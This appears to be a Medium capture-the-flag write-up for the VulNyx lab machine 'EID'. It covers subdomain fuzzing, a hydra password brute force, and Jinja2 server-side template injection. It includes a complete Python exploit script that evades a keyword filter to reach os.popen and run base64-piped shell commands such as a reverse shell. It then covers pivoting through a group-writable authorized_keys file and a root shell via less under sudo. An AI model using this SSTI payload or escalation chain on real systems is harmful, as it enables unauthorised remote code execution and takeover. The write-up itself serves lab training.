medium.com

EID Machine VulNyx Official_Writeup

TirexV2

TirexV2

Press enter or click to view image in full size

Machine Banner

Introduction

EID” is a medium-difficulty Linux machine that simulates a realistic penetration test of an internal corporate application. The exploitation path is a three-stage process, beginning with extensive web enumeration to gain an initial low-privilege shell. The attacker must then pivot from the web server user to a standard user account by exploiting a file permission misconfiguration. Finally, privilege escalation to root is achieved by taking advantage of a classic sudo misconfiguration involving a script that improperly calls a standard Linux utility. This machine tests skills in enumeration, web exploitation (SSTI), payload crafting, and Linux privilege escalation.

  1. Enumeration & Reconnaissance

Navigating to http://192.168.1.12 in a web browser, it doesn't load a page directly; it reveals a domain called “3id.nyx”.

So firstly, we need to edit /etc/hosts and assign the machine IP to “3id.nyx”

sudo nano /etc/hosts
/etc/hosts content

We begin with an nmap Scan to identify all open ports and running services

nmap -sV -sC -p- <MachineIP>

Let’s check for Subdomains & Directories with the ffuf tool

Seclist wordlist

ffuf -w /usr/share/wordlists/subdomains-top1million-5000.txt -u http://192.168.1.12 -H "Host: FUZZ.3id.nyx" -mc 200

Press enter or click to view image in full size

we add it to /etc/hosts

We found beta testing notes from the Dev team “alouch” as a user. Let's go back to the login page and try

We will approach this by brute-forcing the login page with hydra & rockyou wordlist

Using the discovered credentials, we log into the application at http://3id.nyx/login. After logging in, we gain access to the "Shared Greetings" page. One of the notes, "Dev Note: Urgent," contains a clear hint about the vulnerability:

"We need to be careful with the 'template' debug parameter on /greet/share, it's only for internal testing."

This tells us there is a template parameter on the /greet/share endpoint. We can test for Server-Side Template Injection (SSTI) with a simple payload:

http://3id.nyx/greet/share?id=1&template={{7*7}}

Bypassing the Filter and Gaining a Shell

Get TirexV2’s stories in your inbox

Join Medium for free to get updates from this writer.

Attempting standard RCE payloads reveals a keyword filter that blocks dangerous functions like os, popen, system, etc. The exploit requires a sophisticated, multi-stage payload that overcomes several hurdles discovered through server error messages.

Payload Construction Strategy:

  1. Bypassing the Keyword Filter: The filter blocks dangerous function and module names (e.g., os, popen). To bypass this, we must construct these strings within Jinja2 using character-by-character concatenation. For example, os becomes 'o'~'s'.
  2. Finding a Usable Class: A naive approach like __subclasses__()[0] fails with an AttributeError because the class at index 0 is a wrapper_descriptor with no __globals__. The payload must intelligently search for a suitable class. We do this with a Jinja2 {% for %} loop that iterates through all subclasses of object and finds one with a known-good name, like _wrap_close, saving it to a variable. This must be done in a statement block ({%...%}) to avoid a TemplateSyntaxError.
  3. Correctly Accessing __import__: After finding a good class, we navigate to its __init__.__globals__['__builtins__']. The server returns an error ('dict object' has no attribute '__import__') if we try to use |attr(). This tells us that __builtins__ is a dictionary, so we must use dictionary key access: ['__import__'].
  4. Base64 Encoding: To execute complex commands with special characters (like ', &, >) without causing further TemplateSyntaxErrors, we Base64-encode the final reverse shell command. The payload then becomes a simple shell command that decodes this string and pipes it to bash for execution (e.g., bash -c 'echo <BASE64> | base64 -d | bash').

import requests
import urllib.parse
import re
import base64


DEFAULT_TARGET_IP = "TargetIP"
TARGET_URL_TEMPLATE = "http://{ip}/greet/share"
TARGET_GREETING_ID = "1"


def construct_jinja_string(s):
"""
Converts a Python string into a Jinja2 string concatenation expression,
now with proper handling for single quote characters.
"""

if not s: return "''"

jinja_parts = []
for char in s:
if char == "'":


jinja_parts.append(r"'\''")
else:

jinja_parts.append(f"'{char}'")

return "~".join(jinja_parts)


def build_ssti_payload(command_to_execute):
"""
Builds the final, multi-stage SSTI payload.
- Stage 1 ({%...%}): Finds a suitable class and saves it to a variable.
- Stage 2 ({{...}}): Uses the variable to execute the RCE chain.
"""



target_class_name = construct_jinja_string("_wrap_close")

builtins_key = "__builtins__"
import_func_key = construct_jinja_string("__import__")
os_module_name = construct_jinja_string("os")
popen_method_name = construct_jinja_string("popen")
read_method_name = construct_jinja_string("read")
command_str = construct_jinja_string(command_to_execute)


part1_find_class = (
"{% for c in '' . __class__ . __mro__[1] . __subclasses__() %}"
"{% if c . __name__ == " + target_class_name + " %}"
"{% set good_class = c %}"
"{% endif %}"
"{% endfor %}"
)



part2_execute_chain = (
"{{ good_class . __init__ . __globals__"
"['" + builtins_key + "']"
"[" + import_func_key + "]"
"(" + os_module_name + ")"
"|attr(" + popen_method_name + ")"
"(" + command_str + ")"
"|attr(" + read_method_name + ")()"
" }}"
)


payload = part1_find_class + part2_execute_chain
return payload


if __name__ == "__main__":
target_ip = DEFAULT_TARGET_IP
target_ip_input = input(f"Enter target machine IP (default: {DEFAULT_TARGET_IP}): ").strip()
if target_ip_input:
target_ip = target_ip_input

target_url_base = TARGET_URL_TEMPLATE.format(ip=target_ip)
print(f"\n[+] Using target base URL: {target_url_base}")

command_to_encode = input("Enter command to execute (e.g., id, or full reverse shell one-liner): ").strip()

if not command_to_encode:
print("[!] No command entered. Exiting.")
exit()


encoded_command_bytes = base64.b64encode(command_to_encode.encode('utf-8'))
encoded_command_str = encoded_command_bytes.decode('utf-8')
print(f"\n[+] Base64 encoded your command: {encoded_command_str}")


final_command_to_send = f"bash -c 'echo {encoded_command_str} | base64 -d | bash'"
print(f"[+] Final shell command to be sent via SSTI: {final_command_to_send}")

print(f"[+] Building SSTI payload...")
ssti_payload = build_ssti_payload(final_command_to_send)

url_encoded_payload = urllib.parse.quote_plus(ssti_payload)
target_full_url = f"{target_url_base}?id={TARGET_GREETING_ID}&template={url_encoded_payload}"
print(f"\n[+] Sending request...")

try:

response = requests.get(target_full_url, timeout=90)

print(f"[+] Server responded with Status Code: {response.status_code}")
print("\n[+] Full Response Text (first 500 characters):")
print("-" * 70)
print(response.text[:500].strip())
if len(response.text) > 500: print("...")
print("-" * 70)

if response.status_code == 200:

if command_to_encode.lower() == 'id' and 'uid=' in response.text.lower():
print("\n[DIAGNOSTIC] SUCCESS! Output of 'id' command detected!")
else:
print("\n[DIAGNOSTIC] Request got 200 OK. Check response for command output or listener for reverse shell.")
else:
print(f"\n[DIAGNOSTIC] Got status {response.status_code}. Please check server logs and the response text for error details.")

except requests.exceptions.RequestException as e:
print(f"[!] Request failed: {e}")

print("\n[+] Script finished.")

Running the id command in our www-data Shell shows we are part of the alouch group.

www-data@3id:/home/alouch/eid_app$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(alouch)

Knowing this, we search for files owned by alouch that are writable by the group. We quickly find a misconfiguration in alouch's .ssh directory. Standard Linux permissions require execute permission on all parent directories to access a file. We check this with namei.

www-data@3id:/$ namei -om /home/alouch/.ssh/authorized_keys
f: /home/alouch/.ssh/authorized_keys
drwxr-x
drwxr-xr-x root root home
drwx
drwx
-rw-rw

Press enter or click to view image in full size

The output shows that the alouch group has execute permission on /home/alouch and /home/alouch/.ssh, and write permission on the authorized_keys file itself

On our attacker machine, we generate a new ed25519 SSH key

ssh-keygen -t ed25519 -f ~/3id_key

Finally, from our attacker machine, we can now log in as alouch using our private key.

ssh -i ~/3id_key alouch@192.168.1.12

4. Privilege Escalation (alouch to root)

We run sudo -l to check for any special sudo privileges for alouch Then we examine the script’s content.

Press enter or click to view image in full size

The script insecurely uses less. We can exploit this by running the script with sudo and then using the ! command inside less to spawn a shell.

sudo /opt/eid_scripts/maintenance_cleanup.sh /etc/passwd

Once inside the less interface, type:

!/bin/bash

Press enter or click to view image in full size

We confirm our privileges and capture the final flag.